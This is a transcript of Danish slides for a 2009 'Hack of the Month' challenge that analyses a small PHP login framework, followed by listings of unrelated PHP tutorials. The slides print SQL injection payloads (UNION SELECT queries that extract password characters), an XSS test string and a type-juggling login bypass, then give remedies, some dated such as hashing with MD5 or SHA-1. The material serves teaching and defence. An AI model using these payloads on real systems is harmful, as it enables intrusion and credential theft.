Hack of the Month opgave 2

Størrelse: px
Starte visningen fra side:

Download "Hack of the Month opgave 2"

Transkript

1 Hack of the Month opgave 2

2 Holdet bag Søren Rasmus (ikke mig) Roninz Stiller hver måned en ny opgave: Applikationssikkerhed Webapplikationssikkerhed Slide 2

3 Opgaven for februar 2009: Hack of the month opgave 2 Et autentificerings-framework bestående af to PHP-filer skulle analyseres og nedenstående spørgsmål skulle besvares: 1. Hvilke features i php er påkrævede for at frameworket virker? 2. Hvilke sårbarheder eksisterer der i frameworket? 3. Hvordan udnyttes disse sårbarheder? 4. Hvordan kan data fra systemet udnyttes til videre kompromittering? Slide 3

4 Size estimation Antal linjer kode: 84 (SLOC/KLOC) $ wc l auth.php db.php 31 auth.php 53 db.php 84 total Slide 4

5 auth.php Slide 5

6 db.php Slide 6

7 Løsning opgave 1: Hvilke features i php er påkrævede for at frameworket virker? Nedenstående options skal enables i php.conf, alt efter om der er tale om version 4 eller 5 af PHP. PHP 5.x: LoadModule php5_module <path> Eks. LoadModule php5_module modules/libphp5.so AddHandler php5-script.php Slide 7

8 Løsning opgave 2: Hvilke sårbarheder eksisterer der i frameworket? SQL Injection Cross-Site Scripting (XSS) Kodeord er gemt i klartekst Brute forcing af brugerkonti muligt Full path disclosure Session levetid for lang Excessive information Slide 8

9 Excessive information (1) if(!$link) { } die('could not connect: '. mysql_error()); Excessive defineres som information, som brugeren ikke har behov for at have kendskab til. Dette betyder information, der ikke er nødvendig for normal brug af systemet Slide 9

10 Excessive information (2) Slide 10

11 Session levetid for lang setcookie("auth",base64_encode(serialize($auth)),time()+86400*7); En session etableret igennem autentificerings-frameworket er aktiv i ca. 7 dage. Slide 11

12 Full path disclosure (1) $do = $_GET["do"]; Der er intet check på om $_GET["do"] findes. Full path disclosure sårbarheden vil kun være til stede, hvis display_errors erslåettili php.ini, og error_reporting i php.ini er sat til at reportere notits og advarsler. Slide 12

13 Full path disclosure (2) Slide 13

14 Brute forcing af brugerkonti muligt Det er muligt at gætte brugernavn og kodeord gennem brute forcing. Manuel brute forcing kan benyttes til at gætte simple kodeord. Ved komplekse kodeord kan brute forcing tools benyttes til at forsøge flere kombinationer i sekundet. Slide 14

15 Kodeord er gemt i klartekst (1) Slide 15

16 Kodeord er gemt i klartekst (2) Gem aldrig kodeord i klartekst. Gem i stedet en salted hash af kodeordet. Benyt SHA-1, MD5 eller andre mere sikre hashing algoritmer. $salt = <secret_salt> ; $salted_hash = sha1(.$salt.$password); Slide 16

17 Cross-Site Scripting (XSS) Nedenstående kode er sårbar over for XSS, da der ikke HTML encodes: echo "Welcome ".$userarray['user']."(".$userarray['id'].")" ; Variablen $_SERVER[ PHP_SELF ] er i flere version af PHP sårbar over for XSS. Dette kan testes på følgende måde: ><script>alert( XSS )</script> Slide 17

18 SQL Injection (1) function checkcredentials($username, $password) { $user = mysql_real_escape_string($username); $pass = mysql_real_escape_string($password); $sql = "SELECT * FROM users WHERE user=\"".$user."\" AND pass=\"".$pass."\""; Funktionen checkcredentials() er ikke sårbar over for SQL Injection. Slide 18

19 SQL Injection (2) function checkcookie($credentials) { $hash = $credentials['hash']; $user = $credentials['user']; $time = $credentials['time']; if($user) { $sql = "SELECT * FROM users WHERE user=\"".$user."\""; Funktionen checkcookie() er sårbar over for SQL Injection. Slide 19

20 Løsning opgave 3: Hvordan udnyttes disse sårbarheder? SQL Injection Slide 20

21 SQL Injection $sql = "SELECT * FROM users WHERE user=\"".$user."\""; $res = mysql_query($sql); Hvordan ændrer eller tilføjer vi logik til SQL queryen? Hvilke begrænsninger er der I PHPs MySQL funktioner? Slide 21

22 SQL Injection (stacked/multiple SQL statements) ";INSERT users (user,pass, ) VALUES ( user1', pass1', rasmus@rasmuspetersen.net') ;# Vil resultere i: SELECT * FROM users WHERE user=""; INSERT users (user,pass, ) VALUES ( user1', pass1', rasmus@rasmuspetersen.net') ;# Ovenstående fungerer ikke, da PHPs MySQL funktioner ikke understøtter stacked/multiple SQL statements. Slide 22

23 SQL Injection (UNION) " UNION SELECT pass,user,'', FROM users LIMIT 1# Vil resultere i: SELECT * FROM users WHERE user="" UNION SELECT id,user,pass, FROM users LIMIT 1# Slide 23

24 Løsning opgave 4: Hvordan kan data fra systemet udnyttes til videre kompromittering? SQL Injection Slide 24

25 Hvordan kan data fra systemet udnyttes til videre kompromittering med SQL Injection? $sql = "SELECT * FROM users WHERE user=\"".$user."\""; $res = mysql_query($sql); if($res) { $row = mysql_fetch_array($res); $uniq = "". $mysqlhost. $mysqluser. $mysqlpass. $mysqldb; if($hash == md5("". $uniq. $row['pass'])) { Hvordan omgås ovenstående? Slide 25

26 Metode 1: Variabler er ikke i local function scope (1) $uniq = "". $mysqlhost. $mysqluser. $mysqlpass. $mysqldb; if($hash == md5("". $uniq. $row['pass'])) { $mysqlhost, $mysqluser, $mysqlpass og $mysqldb, som udgører salt, er ikke I local function scope, dvs. $uniq er tom. Kan rettes på følgende måde: global $mysqlhost, $mysqluser, $mysqlpass, $mysqldb Slide 26

27 Metode 1: Variabler er ikke i local function scope (2) " UNION SELECT id,user,'', FROM users LIMIT 1# Vil resultere i: SELECT * FROM users WHERE user="" UNION SELECT id,user,'', FROM users LIMIT 1# Dataudtræk vil returnere en tom string I column pass. Hvis $pass indeholder MD5( ), vil nedenstående blive evalueret til sandt: if($hash == md5("". $uniq. $row['pass'])) { Slide 27

28 Metode 2: Intet check på om variablerne er af samme type if($hash == md5("". $uniq. $row['pass'])) { $userarray = array(); $userarray['id'] = $row['id']; $userarray['user'] = $user; return $userarray; Hvis $hash er (bool) true, vil ovenstående altid bliver evalueret som sand, da md5() altid returnerer data. Kan rettes på følgende måde: if($hash === md5("". $uniq. $row['pass'])) { Slide 28

29 UNION syntax if($hash == md5("". $uniq. $row['pass'])) { } $userarray = array(); $userarray['id'] = $row['id']; $userarray['user'] = $user; return $userarray; Hvilke udfordringer giver det, at kun en SIGNED INT (4 bytes) returneres? Slide 29

30 SQL Injection (UNION MySQL) " UNION SELECT pass,user,'', FROM users LIMIT 1# Vil resultere i: SELECT * FROM users WHERE user="" UNION SELECT pass,user,'', FROM users LIMIT 1# Ovenstående overholder ikke SQL standarden, da columns ikke er af samme datatype. Ovenstående fungerer på MySQL. Slide 30

31 SQL Injection (UNION ANSI SQL standard) " UNION SELECT ORD(MID(pass,1,1)),user,'', FROM users LIMIT 1# Vil resultere i: SELECT * FROM users WHERE user="" UNION SELECT ORD(MID(pass,1,1)),user,'', FROM users LIMIT 1# Ovenstående overholder SQL standarden og burde fungere på langt de fleste databaseservere. Dette gælder også MySQL. Slide 31

32 SQL Injection (screenshot) ASCII repræsentationen af første karakter i den første brugers brugernavn. I dette tilfælde u. Slide 32

33 Hvordan kan alle disse sårbarheder undgås Input bør saniteres Benyt Prepared Statements Output bør HTML encodes Kodeord bør gemmes som salted hashes Account lockout baseret på en kombination af brugernavn og IP display_errors bør være slået fra i php.ini Session levetid bør genovervejes Der bør ikke vises information til brugeren, som brugeren ikke har behov for at have kendskab til Slide 33

34 Yderligere referencer mysql_real_escape_string() versus Prepared Statements: OWASPs holdning til blokering af brute force angreb: MySQL UNION Syntax: Variable scope: Rasmus Petersen Tlf.: Slide 34

Design Diaries.

Design Diaries. Design Diaries http://blog.lykkeeilert.dk/ Patricia Gambula Larsen Patrick Lykke Eilert Ninette Andersen cph-pl130@cphbusiness.dk cph-pe58@cphbusiness.dk cph-na96@cphbusiness.dk INDHOLD Use case model

Læs mere

Dynamisk PHP design OPDATERET

Dynamisk PHP design OPDATERET Denne guide er oprindeligt udgivet på Eksperten.dk Dynamisk PHP design OPDATERET I har måske undret jer over "http://bla.dk/?side=kontakt", her beskriver jeg hvordan, og hvorfor Skrevet den 03. Feb 2009

Læs mere

HTML, PHP, SQL, webserver, hvad er hvad??

HTML, PHP, SQL, webserver, hvad er hvad?? Dagens menu HTML og PHP: Baglæs fra output til input PHP: Variable, strenge og arrays Funktioner, oprettelse og kald (og variable på tværs af funktioner) echo vs return? if-else konstruktioner MySQL: Hvad

Læs mere

PHP Snippets. De små korte. Skrevet af Daniel Pedersen

PHP Snippets. De små korte. Skrevet af Daniel Pedersen PHP Snippets De små korte Skrevet af Daniel Pedersen Indhold PHP Snippets De små korte er en samling af små og praktiske kode eksempler med kort forklaring, som med formål at kunne benyttes til opsalgsværk

Læs mere

Begrynder til at lave log ind system

Begrynder til at lave log ind system Denne guide er oprindeligt udgivet på Eksperten.dk Begrynder til at lave log ind system Hej Vil jeg gerne lave en lille programmering forklare til hvordan du laver din helt egen lille start på at log ind

Læs mere

Log ind med PHP. Denne guide er oprindeligt udgivet på Eksperten.dk. Skrevet den 09. May 2011 af dab93 I kategorien Programmering / Andre

Log ind med PHP. Denne guide er oprindeligt udgivet på Eksperten.dk. Skrevet den 09. May 2011 af dab93 I kategorien Programmering / Andre Denne guide er oprindeligt udgivet på Eksperten.dk Log ind med PHP Med denne guide lærer du hvordan du kan logge ind på din hjemmeside med PHP. Guiden viser dig hvordan koderne skal opstilles, og hvad

Læs mere

Loginsystem (med MySQL)

Loginsystem (med MySQL) Denne guide er oprindeligt udgivet på Eksperten.dk Loginsystem (med MySQL) Dette er en guide til, hvordan man kan lave et loginsystem med php og muligvis også med sessioner og MySQL Skrevet den 02. Feb

Læs mere

The Design Diaries Project 3 2. Semester. Blog om designprincipper

The Design Diaries Project 3 2. Semester. Blog om designprincipper The Design Diaries Project 3 2. Semester Blog om designprincipper By Lif Neergaard www.lifmediadesign.dk cph-ln175@cphbusiness.dk Mathias Larsen www.nefjam.dk cph-ml414@cphbusiness.dk Ida Christensen www.idamedia.dk

Læs mere

Data load og udtræk. 2. iteration: implmentation (test af backend) PHP mysql. Loade og parse XML (SimpleXML, Xpath) Filhåndtering i PHP JSON

Data load og udtræk. 2. iteration: implmentation (test af backend) PHP mysql. Loade og parse XML (SimpleXML, Xpath) Filhåndtering i PHP JSON Data load og udtræk 2. iteration: implmentation (test af backend) 1 PHP mysql Loade og parse XML (SimpleXML, Xpath) Filhåndtering i PHP JSON 2 Data udtræk PHP mysql: Processen 1. Forbind til MySQL server

Læs mere

Bemærk! Et PHP script har kun brug for at forbinde én gang til databaseserveren. Det kan så sagtens udføre flere kommandoer vha. denne forbindelse.

Bemærk! Et PHP script har kun brug for at forbinde én gang til databaseserveren. Det kan så sagtens udføre flere kommandoer vha. denne forbindelse. Mysqli Webintegrator Når vi arbejder med server-side scripting ( i vort tilfælde PHP), har vi ofte behov for at kunne tilgå data, som vi opbevarer i en database. Det kan f.eks. dreje sig om nyhederne i

Læs mere

The Design Diaries PHP projekt

The Design Diaries PHP projekt The Design Diaries PHP projekt Anna Emely Jensen cph-aj215@cphbusiness.dk www.annaemely.dk Oliver Alexander Vedel Trojhan cph-ot46@cphbusiness.dk www.olivervedeltrojahn.com Link til GoLogo blog http://olivervedeltrojahn.com/project%203%20php/index.php

Læs mere

PHP 3 UGERS FORLØB PHP, MYSQL & SQL

PHP 3 UGERS FORLØB PHP, MYSQL & SQL PHP 3 UGERS FORLØB PHP, MYSQL & SQL Uge 1 & 2 Det basale: Det primære mål efter uge 1 og 2, er at få forståelse for hvordan AMP miljøet fungerer i praksis, og hvordan man bruger PHP kodesproget til at

Læs mere

Loginsystem med PHP4, klasser, sessions og MySQL database

Loginsystem med PHP4, klasser, sessions og MySQL database Denne guide er oprindeligt udgivet på Eksperten.dk Loginsystem med PHP4, klasser, sessions og MySQL database Artiklen indeholder et simpelt loginsystem, der benytter en klasse. Den er med vilje simplificeret,

Læs mere

Reeksamen, DSDS, forår 2008

Reeksamen, DSDS, forår 2008 Reeksamen, DSDS, forår 2008 Introduktion til Scripting, Databaser og Systemarkitektur Jonas Holbech IT Universitetet i København 22. august 2008 Alle hjælpemidler er tilladte, dog ikke computer og kommunikationsmidler.

Læs mere

PHP Crash course. Databaser

PHP Crash course. Databaser PHP Crash course Databaser PHP Intro PHP er et server scripting sprog der kan bruges til at lave aktivt indhold på hjemme sider. Der er to betingelser som skal opfyldes for at serveren fortolker PHP koden.

Læs mere

Ratingsystem i PHP og MySQL

Ratingsystem i PHP og MySQL Denne guide er oprindeligt udgivet på Eksperten.dk Ratingsystem i PHP og MySQL Lær at lave et system til at vise rating/bedømmelse på artikler og nyheder. Skrevet den 03. Feb 2009 af virtual1ty I kategorien

Læs mere

- Hvad er PHP? - Hurtigt historisk overblik - Installation - Indstillinger - Hello world - Tekststrenge - PHP og HTML - En doven programmør er en god

- Hvad er PHP? - Hurtigt historisk overblik - Installation - Indstillinger - Hello world - Tekststrenge - PHP og HTML - En doven programmør er en god 5 For begyndere - Hvad er PHP? - Hurtigt historisk overblik - Installation - Indstillinger - Hello world - Tekststrenge - PHP og HTML - En doven programmør er en god programmør - Include filer - Funktioner

Læs mere

PROJEKT 3. The Design Diaries. LINK TIL BLOG: Af Mikkel Borg Svendsen & Sebastian Frank MUL B

PROJEKT 3. The Design Diaries. LINK TIL BLOG:  Af Mikkel Borg Svendsen & Sebastian Frank MUL B PROJEKT 3 The Design Diaries LINK TIL BLOG: http://mbsgraphic.dk/blog/ Af Mikkel Borg Svendsen & Sebastian Frank MUL B 1 INDHOLDS- FORTEGNELSE HVEM ER BLOGGERNE? 3 USE CASE 4 ATTRIBUT TABEL 5 PHP CODE

Læs mere

Matematik læringsprojekt Journal

Matematik læringsprojekt Journal Matematik læringsprojekt Journal Indledning Dette projekt udarbejdes af Oliver Mangelsen og Kasper Christoffersen fra klasse 3,3. projektet udarbejdes i faget programmering. Meningen med dette projekt

Læs mere

Interaktionsudvikling

Interaktionsudvikling Projektopgave 3: Interaktionsudvikling CPH business, klasse: MulA2013 Projektansvarlige undervisere Thomas Hartmann MereteGeldermann lützen: Projekt produkt url: www.amalieardahl.dk/projekt3/index.html

Læs mere

PHP guide af Daniel Pedersen

PHP guide af Daniel Pedersen PHP guide af Daniel Pedersen Side 1 af 12 Indholdsfortegnelse PHP guide af Daniel Pedersen Side 2 af 12 Indledning I dette hæfte finder du forklaringer til PHP funktioner, løkker, variabler samt en række

Læs mere

Eksamen, DSDS, efterår 2008

Eksamen, DSDS, efterår 2008 Eksamen, DSDS, efterår 2008 Introduktion til Scripting, Databaser og Systemarkitektur Jonas Holbech IT Universitetet i København 6. januar 2009 Alle hjælpemidler er tilladte, dog ikke computer og kommunikationsmidler.

Læs mere

Code injection i browsere

Code injection i browsere Code injection i browsere Bjarke Skjølstrup og Jonas Nyrup 30/5 2012 Indhold 1 Introduktion 1 2 XSS - Cross-site Scripting 1 2.1 Reflected XSS............................ 1 2.1.1 Eksempel..........................

Læs mere

if (mysqli_num_rows($res) > 0) { while ($result = $res->fetch_array(mysqli_assoc)) { "<div class=\"article\">".

if (mysqli_num_rows($res) > 0) { while ($result = $res->fetch_array(mysqli_assoc)) { <div class=\article\>. isset($_get['id'])) { $id = $mysqli->real_escape_string($_get['id']); $sql = "SELECT * FROM `opskriftreg` WHERE `id` =? LIMIT 1;"; $stmt = $mysqli->prepare($sql); $stmt->bind_param('s', $id); $stmt->execute();

Læs mere

Eksamen, DSDS, efterår 2007

Eksamen, DSDS, efterår 2007 Eksamen, DSDS, efterår 2007 Introduktion til Scripting, Databaser og Systemarkitektur Jonas Holbech og Martin Elsman IT Universitetet i København 7. januar 2008 Alle hjælpemidler er tilladte, dog ikke

Læs mere

Sikre apps på ios og Android. Mads Jensen & Søren Toft @ArbitraryJensen & @SorenToft

Sikre apps på ios og Android. Mads Jensen & Søren Toft @ArbitraryJensen & @SorenToft Sikre apps på ios og Android Mads Jensen & Søren Toft @ArbitraryJensen & @SorenToft "Next vulnerability shift will go from WebApp to Mobile. It'll take at least another 5-7yrs though." Jeremiah Grossman

Læs mere

Databaseadgang fra Java

Databaseadgang fra Java Databaseadgang fra Java Grundlæggende Programmering med Projekt Peter Sestoft Fredag 2007-11-23 Relationsdatabasesystemer Der er mange databaseservere Microsoft Access del af Microsoft Office MySQL god,

Læs mere

Password hashing og salt

Password hashing og salt Denne guide er oprindeligt udgivet på Eksperten.dk Password hashing og salt Denne artikel beskriver hvorfor hashing og salt er godt, når man skal gemme passwords. Den forudsætter et vist kendskab til programmering

Læs mere

Dokumentering af umbraco artikeleksport:

Dokumentering af umbraco artikeleksport: Dokumentering af umbraco artikeleksport: Lav en artikel side 2-3. Installationsguide side 3-5. Opsættelse af databasen og web.config side 5-8. Umbraco: templates side 8. Umbraco: borger.dk tab side 8.

Læs mere

Sikker kode? Gennemgang af mest almindelige hacker angreb

Sikker kode? Gennemgang af mest almindelige hacker angreb Sikker kode? Gennemgang af mest almindelige hacker angreb Developer & Platform Strategy Microsoft http://blogs.msdn.com/henrikwh henrikwh@microsoft.com Agenda Sikkerhed i medierne Trusselssenarier Mest

Læs mere

Session-highjack...et halvt skridt mod en modgift

Session-highjack...et halvt skridt mod en modgift Denne guide er oprindeligt udgivet på Eksperten.dk Session-highjack...et halvt skridt mod en modgift Denne artikel forsøger at beskrive hvad PHP session highjacking er og prøver at komme med et bud på

Læs mere

I denne arktikle går jeg gennem Slet, Ret og Opret data i en MySQL database. der er også en lille del i den hvor den postere datanen ud i en løkke

I denne arktikle går jeg gennem Slet, Ret og Opret data i en MySQL database. der er også en lille del i den hvor den postere datanen ud i en løkke Denne guide er oprindeligt udgivet på Eksperten.dk MySQL for nybegynder I denne arktikle går jeg gennem Slet, Ret og Opret data i en MySQL database. der er også en lille del i den hvor den postere datanen

Læs mere

Indholdsfortegnelse Databaser og PHP... 3 Opgave... 4 Opgave... 5 Opgave... 6 Sidste opgave er en lille gæstebog... 7 Kilder og nyttige links:...

Indholdsfortegnelse Databaser og PHP... 3 Opgave... 4 Opgave... 5 Opgave... 6 Sidste opgave er en lille gæstebog... 7 Kilder og nyttige links:... Indholdsfortegnelse Databaser og PHP... 3 Opgave... 4 Opgave... 5 Opgave... 6 Sidste opgave er en lille gæstebog... 7 Kilder og nyttige links:... 9 Nogle HTML tags... 9 Databaser og PHP Når vi snakker

Læs mere

Website sikkerhed SQL Injections og mere...

Website sikkerhed SQL Injections og mere... ... Skrevet af Daniel Pedersen 1 Introduktion Sikkerheden i dag skal være i top, der er rigtig mange små hurtige og nemme metoder til at få adgang til ens hjemmeside. Mange er ikke ældre end 14 år, og

Læs mere

Eksamen, DSDS, forår 2009

Eksamen, DSDS, forår 2009 Eksamen, DSDS, forår 2009 Introduktion til Scripting, Databaser og Systemarkitektur Jonas Holbech IT Universitetet i København 3. juni 2009 Alle hjælpemidler er tilladte, dog ikke computer og kommunikationsmidler.

Læs mere

DM507 Algoritmer og datastrukturer

DM507 Algoritmer og datastrukturer DM507 Algoritmer og datastrukturer Forår 2016 Projekt, del III Institut for matematik og datalogi Syddansk Universitet 20. april, 2016 Dette projekt udleveres i tre dele. Hver del har sin deadline, således

Læs mere

Tagwall med Php & MySQL

Tagwall med Php & MySQL Denne guide er oprindeligt udgivet på Eksperten.dk Tagwall med Php & MySQL Her laver vi en tagwall i Php & MySQL... jeg forklarer dog ikke så meget, men jeg håber du kan få det til at blive til en tagwall

Læs mere

Parameterisering af databasekald med ASP og ADO

Parameterisering af databasekald med ASP og ADO Denne guide er oprindeligt udgivet på Eksperten.dk Parameterisering af databasekald med ASP og ADO Jeg har efterhånden set en del spørgsmål her på Eksperten vedr. SQL injections og hvordan man kan beskytte

Læs mere

Anvendelse af Model- View koncept i SAS Stored Processer

Anvendelse af Model- View koncept i SAS Stored Processer Anvendelse af Model- View koncept i SAS Stored Processer Peter Sandal Boll Chefkonsulent Professional Services, Skanderborg SAS Institute A/S Agenda Model-View-Controller konceptet (MVC) Eksempel med put-rapport

Læs mere

I mit script tager jeg højde for det problem ved, at gemme et unikt tal mellem 0-9 på 6 cifre og derved vil de så blive vist som 2 online.

I mit script tager jeg højde for det problem ved, at gemme et unikt tal mellem 0-9 på 6 cifre og derved vil de så blive vist som 2 online. Denne guide er oprindeligt udgivet på Eksperten.dk Hvem er online? Online script, som tager højde for at der kan være flere personer, som har den samme IP-adresse. Scriptet viser hvor lang tid brugeren

Læs mere

Sporbarhed og Rapportering i Quality Center. Kim Stenbo Nielsen NNIT Application Management Services

Sporbarhed og Rapportering i Quality Center. Kim Stenbo Nielsen NNIT Application Management Services Sporbarhed og Rapportering i Quality Center Kim Stenbo Nielsen NNIT Application Management Services Indhold INTRODUKTION Hvem er jeg Hvad vil jeg fortælle om QC std. rapporteringsfaciliteter EXCEL RAPPORTER

Læs mere

Database tips. Den forudsætter lidt kendskab til SQL men er for mindre erfarne. Denne guide er oprindeligt udgivet på Eksperten.dk

Database tips. Den forudsætter lidt kendskab til SQL men er for mindre erfarne. Denne guide er oprindeligt udgivet på Eksperten.dk Denne guide er oprindeligt udgivet på Eksperten.dk Database tips Denne artikel vil give nogle forskellige små praktiske råd om ting man skal tænke på når man arbejder med databaser og applikationer som

Læs mere

Hvem er jeg? Blackhat siden er mest tiltrækkende

Hvem er jeg? Blackhat siden er mest tiltrækkende Hvem er jeg? Robert Larsen Datamatiker årgang 2001 Programmerede mobiltelefon software i fire år Programmerer frameworks, backendsystemer og værktøjer til spiludvikling hos Cego ApS ( www.komogvind.dk)

Læs mere

Indholdsfortegnelse If-sætningen... 3 Opgaver... 4 OR, AND sammen med if-sætningen... 5 Rand() funktion... 5 Opgave... 5 Include() funktionen...

Indholdsfortegnelse If-sætningen... 3 Opgaver... 4 OR, AND sammen med if-sætningen... 5 Rand() funktion... 5 Opgave... 5 Include() funktionen... Modul 2 Indholdsfortegnelse If-sætningen... 3 Opgaver... 4 OR, AND sammen med if-sætningen... 5 Rand() funktion... 5 Opgave... 5 Include() funktionen... 6 Opgave... 6 POST/GET og formular... 6 Opgaver...

Læs mere

Database programmerings tips

Database programmerings tips Denne guide er oprindeligt udgivet på Eksperten.dk Database programmerings tips Denne artikel vil introducere nogle problem stillinger med flere samtidige brugere, som man skal tænke på, når man udvikler

Læs mere

En Kort Introduktion til Oracle

En Kort Introduktion til Oracle En Kort Introduktion til Oracle Henrik Bulskov 12. februar 2001 bulskov@ruc.dk 1 Start SQL*Plus... 1 1.1 TELNET... 1 1.2 WINDOWS SQL PLUS... 2 2 Kør et SQL-script... 3 3 Hjælp i SQL*Plus... 3 4 Editering

Læs mere

VÆR EFFEKTIV SOM SAS PROGRAMMØR MED SAS ENTERPRISE GUIDE 7.12 GEORG MORSING

VÆR EFFEKTIV SOM SAS PROGRAMMØR MED SAS ENTERPRISE GUIDE 7.12 GEORG MORSING VÆR EFFEKTIV SOM SAS PROGRAMMØR MED SAS ENTERPRISE GUIDE 7.12 GEORG MORSING Copyr i g ht 2013, SAS Ins titut e Inc. All rights res er ve d. Livet som SAS-programmør er blevet lettere med SAS Enterprise

Læs mere

MySQL C API. Denne artikel beskriver hvordan man bruger MySQL C API. Der er beskrivelse af build med forskellige compilere.

MySQL C API. Denne artikel beskriver hvordan man bruger MySQL C API. Der er beskrivelse af build med forskellige compilere. Denne guide er oprindeligt udgivet på Eksperten.dk MySQL C API Denne artikel beskriver hvordan man bruger MySQL C API. Der er beskrivelse af build med forskellige compilere. Den forudsætter lidt kendskab

Læs mere

A11: Last Year s Exam

A11: Last Year s Exam A11: Last Year s Exam Agenda Design of Site map and Web- structure (3) Design of data model (1) Design of database transactions (2) Construction of HTML and PHP scripts (3) Exercise 3: Design of Site map

Læs mere

Introduktion til SQL queries

Introduktion til SQL queries Denne guide er oprindeligt udgivet på Eksperten.dk Introduktion til SQL queries Denne artikel beskriver nogle forskellige muligheder i SQL queries. Eksemplerne skulle gerne være standard SQL og virke i

Læs mere

Dette er en grundlæggende artikel til hvordan du laver et lille community, med forskelige

Dette er en grundlæggende artikel til hvordan du laver et lille community, med forskelige Denne guide er oprindeligt udgivet på Eksperten.dk Lav et community Dette er en grundlæggende artikel til hvordan du laver et lille community, med forskelige diverse funktioner. I de fleste community's

Læs mere

Skrevet den 18. Feb 2010 af arne_v I kategorien Programmering / Visual Basic.NET

Skrevet den 18. Feb 2010 af arne_v I kategorien Programmering / Visual Basic.NET Denne guide er oprindeligt udgivet på Eksperten.dk Parameters Denne artikel beskriver hvorfor parameters er gode. Den forudsætter lidt kendskab til VB.NET og ADO.NET. Der findes en tilsvarende artikel

Læs mere

DM507 Algoritmer og datastrukturer

DM507 Algoritmer og datastrukturer DM507 Algoritmer og datastrukturer Forår 2017 Projekt, del III Institut for matematik og datalogi Syddansk Universitet 6. april, 2017 Dette projekt udleveres i tre dele. Hver del har sin deadline, således

Læs mere

De vigtigste SQL-sætninger. SQL kap Oprette database. DDL og DML

De vigtigste SQL-sætninger. SQL kap Oprette database. DDL og DML SQL kap 6-7 + 17-20 DDL og DML 1 De vigtigste SQL-sætninger Data Definition Language (DDL) create table: opretter en ny tabel create unique index: tilføjer et index til en tabel drop table : sletter en

Læs mere

Aarhus Universitet, Science and Technology, Computer Science. Exam. Wednesday 27 June 2018, 9:00-11:00

Aarhus Universitet, Science and Technology, Computer Science. Exam. Wednesday 27 June 2018, 9:00-11:00 Page 1/12 Aarhus Universitet, Science and Technology, Computer Science Exam Wednesday 27 June 2018, 9:00-11:00 Allowed aid: None The exam questions are answered on the problem statement that is handed

Læs mere

Eksamen, DSDS, forår 2008

Eksamen, DSDS, forår 2008 Eksamen, DSDS, forår 2008 Introduktion til Scripting, Databaser og Systemarkitektur Jonas Holbech IT Universitetet i København 3. juni 2008 Alle hjælpemidler er tilladte, dog ikke computer og kommunikationsmidler.

Læs mere

DM507 Algoritmer og datastrukturer

DM507 Algoritmer og datastrukturer DM507 Algoritmer og datastrukturer Forår 2019 Projekt, del III Institut for matematik og datalogi Syddansk Universitet 10. april, 2019 Dette projekt udleveres i tre dele. Hver del har sin deadline, således

Læs mere

Parameters. Denne artikel beskriver hvorfor parameters er gode. Den forudsætter lidt kendskab til C# og ADO.NET.

Parameters. Denne artikel beskriver hvorfor parameters er gode. Den forudsætter lidt kendskab til C# og ADO.NET. Denne guide er oprindeligt udgivet på Eksperten.dk Parameters Denne artikel beskriver hvorfor parameters er gode. Den forudsætter lidt kendskab til C# og ADO.NET. Der findes en tilsvarende artikel med

Læs mere

Den forudsætter kendskab til C++ og lidt kendskab til SQL og MySQL C API.

Den forudsætter kendskab til C++ og lidt kendskab til SQL og MySQL C API. Denne guide er oprindeligt udgivet på Eksperten.dk Brug af MySQL i C++ Denne artikel bygger ovenpå artiklen "MySQL C API" og forklarer hvordan man kan programmere mere objekt orienteret. Den forudsætter

Læs mere

DESIGN. Blog: http://annehindkjaer.com/blog/index.php. Portfolioer: http://annehindkjaer.com. CPH-mails: cph-ac148@cphbusiness.dk

DESIGN. Blog: http://annehindkjaer.com/blog/index.php. Portfolioer: http://annehindkjaer.com. CPH-mails: cph-ac148@cphbusiness.dk DESIGN Gruppenr: 5 Portfolioer: http://annehindkjaer.com http://mettegottlieb.dk http://metaemilie.dk CPH-mails: cph-ac148@cphbusiness.dk cph-mp327@cphbusiness.dk cph-mh542@cphbusiness.dk Blog: http://annehindkjaer.com/blog/index.php

Læs mere

Ordbøgerne.dk. Navne: Andreas Foldager og Rasmus Bjerring Pedersen Fag: IT B Lærer: Karl Bjarnason Afleveringsdato: 17-11-06.

Ordbøgerne.dk. Navne: Andreas Foldager og Rasmus Bjerring Pedersen Fag: IT B Lærer: Karl Bjarnason Afleveringsdato: 17-11-06. Ordbøgerne.dk Navne: Andreas Foldager og Rasmus Bjerring Pedersen Fag: IT B Lærer: Karl Bjarnason Afleveringsdato: 17-11-06 Side 1 af 35 Indholdsfortegnelse Indledning:...3 Design...4 Visuelt design:...4

Læs mere

Sidste forelæsning. Jacob Aae Mikkelsen. 28. april 2013 IMADA. Jacob Aae Mikkelsen (IMADA) Sidste forelæsning 28.

Sidste forelæsning. Jacob Aae Mikkelsen. 28. april 2013 IMADA. Jacob Aae Mikkelsen (IMADA) Sidste forelæsning 28. Sidste forelæsning Jacob Aae Mikkelsen IMADA 28. april 2013 Jacob Aae Mikkelsen (IMADA) Sidste forelæsning 28. april 2013 1 / 36 Outline 1 Brugere og Sikkerhed Jacob Aae Mikkelsen (IMADA) Sidste forelæsning

Læs mere

Opsætning af MobilePBX med Kalenderdatabase

Opsætning af MobilePBX med Kalenderdatabase Opsætning af MobilePBX med Kalenderdatabase Dette dokument beskriver hvorledes der installeres Symprex Exchange Connector og SQL Server Express for at MobilePBX kan benytte kalenderadadgang via database

Læs mere

SKYHOST WEB API VERSION 8 (OFFENTLIGT)

SKYHOST WEB API VERSION 8 (OFFENTLIGT) SKYHOST WEB API VERSION 8 (OFFENTLIGT) Indholdsfortegnelse 1 BESKRIVELSE 2 1.1 Begrænsning 2 1.2 Input 2 1.3 Output 2 1.4 Tidsstempler 3 2 COMMANDS 4 2.1 Hent aktuel placering af trackere 4 2.2 Hent ressourcer

Læs mere

Prepared Statements. Denne artikel beskriver hvorfor prepared statements er gode. Den forudsætter lidt kendskab til Java og JDBC.

Prepared Statements. Denne artikel beskriver hvorfor prepared statements er gode. Den forudsætter lidt kendskab til Java og JDBC. Denne guide er oprindeligt udgivet på Eksperten.dk Prepared Statements Denne artikel beskriver hvorfor prepared statements er gode. Den forudsætter lidt kendskab til Java og JDBC. Skrevet den 18. Feb 2010

Læs mere

Write-N-Cite IV til Word 2010

Write-N-Cite IV til Word 2010 Write-N-Cite IV til Word 2010 Installation på hospitalets computere For at installere Write-N-Cite IV til Word 2010 på hospitalets computere, henviser vi til siden på koncern-intra: http://intranet.rm.dk/it/kontorarbejdspladsen/refworks

Læs mere

Projekt 3: Interaktionsudvikling 11/04.14

